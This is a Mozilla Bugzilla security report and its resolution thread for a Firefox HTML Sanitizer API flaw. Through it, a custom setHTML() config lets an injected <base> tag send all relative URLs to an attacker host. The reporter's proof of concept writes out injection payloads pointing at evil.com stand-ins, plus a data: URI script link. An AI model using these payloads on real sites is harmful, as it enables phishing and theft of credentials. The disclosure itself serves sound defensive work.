Closed Bug 2046748 (CVE-2026-16394) Opened 4 months ago Closed 4 months ago

HTML Sanitizer API: `<base>` Tag Injection Enables URL Hijacking via setHTML()

Categories

(Core :: DOM: Security, defect, P1)

defect

Tracking

()

RESOLVED FIXED
154 Branch
Tracking Status
firefox-esr115 --- unaffected
firefox-esr140 --- unaffected
firefox152 --- wontfix
firefox153 + fixed
firefox154 + fixed

People

(Reporter: realnits, Assigned: tschuster)

References

(Blocks 1 open bug)

Details

(Keywords: csectype-mitigation-bypass, reporter-external, sec-moderate, Whiteboard: [client-bounty-form][adv-main153+])

Attachments

(1 file, 2 external files)

Summary

Firefox's HTML Sanitizer API (Element.setHTML()) does not include <base> in its baseline-unsafe element list. When an application uses a custom Sanitizer configuration that includes <base> in its allowed elements, an attacker can inject a <base href="https://evil.com/"> element that hijacks all relative URL resolution on the entire page. This redirects all existing links, form actions, and resource loads from the legitimate server to an attacker-controlled domain.

Affected Versions: Firefox 151.0.4 (confirmed), Firefox 150.0.2 (confirmed)
Severity: High (URL hijacking enabling credential phishing, open redirect, data exfiltration)
Component: DOM: Security / HTML Sanitizer API
Attack Vector: Network (requires application using setHTML with custom config that allows <base>)


Vulnerability Details

Root Cause

The Sanitizer API's "baseline-unsafe" element list (SanitizerDefaultConfig.h) includes:

  • <script>, <iframe>, <object>, <embed>, <frame> (always stripped in safe mode)

But it does NOT include <base>, despite <base> having page-wide security implications that are equivalent to or worse than <iframe>:

  • <base href="..."> changes the base URL for ALL relative URL resolution on the page
  • This affects every <a href="/path">, <form action="/path">, <img src="/path">, <script src="/path">, CSS url() references, etc.
  • A single injected <base> element can redirect the entire page's link and resource infrastructure to an attacker domain

Why This Matters

The Sanitizer API is designed to be "safe by default" — even if a developer makes a misconfiguration, the baseline-unsafe list is supposed to prevent the worst outcomes. By including <script> in baseline-unsafe, Firefox ensures that no custom config can allow script injection via setHTML().

However, <base> is equally dangerous and is NOT baseline-protected. A developer who allows <base> (perhaps thinking "it's just a URL hint, it's not executable") enables full URL hijacking attacks.

Attack Scenario

  1. Web application uses setHTML() with a custom Sanitizer that allows <base> (perhaps to support rich content embedding)
  2. Attacker injects <base href="https://evil.com/"> via user-controlled HTML content
  3. All relative links on the page now point to attacker's domain
  4. User clicks "Login" link → navigates to https://evil.com/login (attacker's phishing page)
  5. Forms submit credentials to attacker's domain

Proof of Concept

Minimal Reproduction

// Application uses setHTML with custom config
const sanitizer = new Sanitizer({
    elements: ['base', 'a', 'div', 'p', 'span', 'h1', 'h2', 'h3'],
    attributes: ['href', 'class', 'id']
});

// Attacker-controlled content
const userContent = '<base href="https://evil.example.com/"><p>Hello world</p>';

// Inject into page
document.getElementById('content').setHTML(userContent, { sanitizer });

// RESULT: Every relative URL on the page now resolves to evil.example.com
// document.createElement('a').href = '/login' → 'https://evil.example.com/login'

Automated Validation (Firefox 151.0.4)

Before <base> injection:
  /test resolves to → http://localhost:9018/test (legitimate)

After <base href="https://evil.com/"> injection via setHTML():
  /test resolves to → https://evil.com/test (HIJACKED!)

Impact Demonstration

<!-- Page before injection -->
<nav>
  <a href="/login">Login</a>           <!-- → legitimate.com/login -->
  <a href="/account">My Account</a>    <!-- → legitimate.com/account -->
</nav>
<form action="/api/transfer" method="POST">
  <input name="amount" value="1000">   <!-- Submits to legitimate.com -->
</form>

<!-- After attacker injects: <base href="https://evil.com/"> -->
<nav>
  <a href="/login">Login</a>           <!-- → evil.com/login (PHISHING!) -->
  <a href="/account">My Account</a>    <!-- → evil.com/account -->
</nav>
<form action="/api/transfer" method="POST">
  <input name="amount" value="1000">   <!-- Submits to evil.com! -->
</form>

Impact Assessment

Security Impact

Aspect Assessment
Confidentiality High — form submissions with credentials/tokens redirected to attacker
Integrity High — all relative resource loads (JS, CSS) can be replaced
Availability Low — page remains functional but compromised
Scope Changed — affects content outside the sanitized container

CVSS 3.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N = 9.3 (Critical)

The key factor is Scope: Changed — the <base> tag injected into one container affects the entire document, including content the attacker doesn't control.

Comparison with Baseline-Unsafe Elements

Element In Baseline-Unsafe? Can Execute JS Directly? Page-Wide Impact?
<script> YES YES No (scoped to execution)
<iframe> YES YES (via srcdoc) No (isolated frame)
<object> YES YES (via plugins) No (isolated)
<embed> YES YES (via plugins) No (isolated)
<base> NO No YES — ALL relative URLs!

<base> has greater page-wide impact than any element currently in the baseline-unsafe list.


Suggested Fix

Recommended: Add <base> to Baseline-Unsafe

In dom/security/sanitizer/SanitizerDefaultConfig.h, add <base> to the baseline-unsafe elements list. This ensures that setHTML() ALWAYS strips <base> regardless of custom configuration, matching the behavior for <script>, <iframe>, etc.

This is a one-line fix and does not break any legitimate use case — there is no valid reason to inject <base> elements via user-controlled sanitized HTML.

Alternative: Strip <base> in Default Config

If baseline-unsafe modification is too invasive, at minimum add <base> to the default sanitizer's blocklist (already done — default strips it). But this doesn't protect applications using custom configs.


Environment

  • Firefox: 151.0.4 (system install, confirmed)
  • Firefox: 150.0.2 (Playwright, confirmed)
  • OS: macOS (Darwin 25.5.0, arm64)
  • Pref: dom.security.sanitizer.enabled = true
  • Tested: 2026-06-11

Test Output

default_base: false       ← Default sanitizer strips <base> (correct)
custom_base: true         ← Custom config allows <base> (BUG — should be baseline-blocked)
custom_base_href: https://evil.com/
before_resolve: http://localhost:9018/test
after_resolve: https://evil.com/test
hijacked: true            ← URL resolution CHANGED for entire page
setHTML_iframe: false     ← Baseline blocks iframe (correct)
setHTML_script: false     ← Baseline blocks script (correct)

Additional Finding: data: URIs Not Blocked in Sanitized Links

The Sanitizer API only blocks javascript: scheme URLs. data: URIs pass through sanitization:

const s = new Sanitizer({elements: ['a'], attributes: ['href']});
div.setHTML('<a href="data:text/html,<script>alert(1)</script>">click</a>', {sanitizer: s});
// Link preserved with data: URI — clicking navigates to attacker HTML

While Firefox blocks top-level data: navigations in many contexts, this represents an incomplete blocklist in the Sanitizer's URL validation logic. The data: scheme should be blocked for navigation-triggering attributes (href, action, formaction) alongside javascript:.

Flags: sec-bounty?

The <base> element does not allow XSS on the same page and thus is not covered by the baseline protections.

Group: firefox-core-security → core-security
Component: Security → DOM: Security
Product: Firefox → Core
Group: core-security → dom-core-security

This is actually an issue in the HTML standard and would apply to all browsers that implement this API. I now reported the security issue upstream at https://github.com/whatwg/html/security/advisories/GHSA-vm32-8j3c-m86p. If you want to be credited properly please give me your Github username.

Flags: needinfo?(realnits)

Hey Tom, I would like to be credited and here is github username: https://github.com/realnits

Flags: needinfo?(realnits)

The rating assigned by our bug rating tool (currently under development) is:

Rating: sec-moderate

Explanation: The vulnerability is real and confirmed by a Mozilla developer (tschuster), who escalated it to the WHATWG HTML standard. The Sanitizer API's baseline-unsafe list (embed, frame, iframe, object, script, SVG script/use) does NOT include <base>. With a permissive/empty sanitizer config (e.g., { sanitizer: {} }), <base> passes through sanitization since mElements is null and only javascript: URLs on <base href> are stripped. An injected <base href='https://evil.com/'> changes all relative URL resolution for the entire document, and in the critical case (scripts loaded after injection), can redirect <script src> loads to an attacker domain, enabling script hijacking. However: (1) the default setHTML(html) config correctly blocks <base> (not in kDefaultHTMLElements), so only developers using non-default permissive configs are affected; (2) the most severe impact (script hijacking) requires a specific page structure with scripts loaded after injection AND a permissive sanitizer config — an unusual/non-default developer configuration. This maps to sec-moderate: a potentially sec-high impact (up to JS injection via script redirection) that requires unusual developer configuration to exploit.

Tom: Please ni? me if you disagree with this rating.

Keywords: sec-moderate
Assignee: nobody → tschuster
Status: UNCONFIRMED → NEW
Ever confirmed: true
Attached file (secure) —

I am trying to see if it makes sense to coordinate landing the fix with Chrome.

The severity field is not set for this bug.
:freddy, could you have a look please?

For more information, please visit BugBot documentation.

Flags: needinfo?(fbraun)
Severity: -- → S2
Priority: -- → P1
Flags: needinfo?(fbraun)
Blocks: 2051276
Group: dom-core-security → core-security-release
Status: NEW → RESOLVED
Closed: 4 months ago
Resolution: --- → FIXED
Target Milestone: --- → 154 Branch

firefox-beta Uplift Approval Request

  • User impact if declined/Reason for urgency: Sanitizer API weakness that makes some sites attackable
  • Code covered by automated testing?: yes
  • Fix verified in Nightly?: yes
  • Needs manual QE testing?: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: Straight forward code change. The API is still relatively new so the change probably doesn't break any websites.
  • String changes made/needed?: no
  • Is Android affected?: yes
Attachment #9602921 - Flags: approval-mozilla-beta?
Attached file (secure) —
Attachment #9602921 - Flags: approval-mozilla-beta? → approval-mozilla-beta+
QA Whiteboard: [sec] [uplift] [qa-triage-done-c154/b153]
Whiteboard: [client-bounty-form] → [client-bounty-form][adv-main153+]
Alias: CVE-2026-16394
Flags: sec-bounty? → sec-bounty+

Hey Daniel,

How long does it take to issue a bounty and since you marked it to sec-bounty+ about 13 days ago

Thanks,
Nithissh S

Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: